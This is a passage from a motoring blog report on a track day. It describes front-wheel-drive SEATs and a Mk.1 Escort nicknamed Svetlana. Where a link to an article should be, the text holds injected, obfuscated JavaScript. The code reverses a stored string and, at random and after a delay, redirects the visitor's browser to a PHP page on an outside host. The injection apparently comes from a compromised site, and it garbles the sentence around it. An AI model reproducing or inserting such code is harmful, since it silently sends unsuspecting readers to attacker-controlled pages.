Next up was the Front-Wheel Drive posse, and much wheel spinning and copious use of the handbrake consequently followed. Unquestionably fast and nimble around the technical aspects of the course, the power deficit took its toll on the faster sections.
It was the SEATs though that proved untouchable in this class demonstrating why they are becoming the FWD hot-hatch of choice for the discerning driver. These Spanish (via Germany) fantasies had the opposition licked.
Only a few years ago, this category would have been dominated by the Honda Civic. Perhaps a sign of the times that not only were there no Hondas present, but not a single Japanese FWD car was in attendance. Soichiro, you are missed.
Soon it was the turn of the Rear-Wheel Drive brigade, and what an eclectic mix of cars they were. Neil Greer, from Gulf Petrolheads was there in his Mk.1 Escort, affectionately known as $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/ford-escort-mk1-reborn-in-dubai/” target=”_blank”>Svetlana. Neil was using this session to set the Escort up properly for hardcore track-day use. However, Svetlana is a high maintenance kind of girl and was giving Neil grief even before she went on track. After only two runs, both unfortunately had to retire.
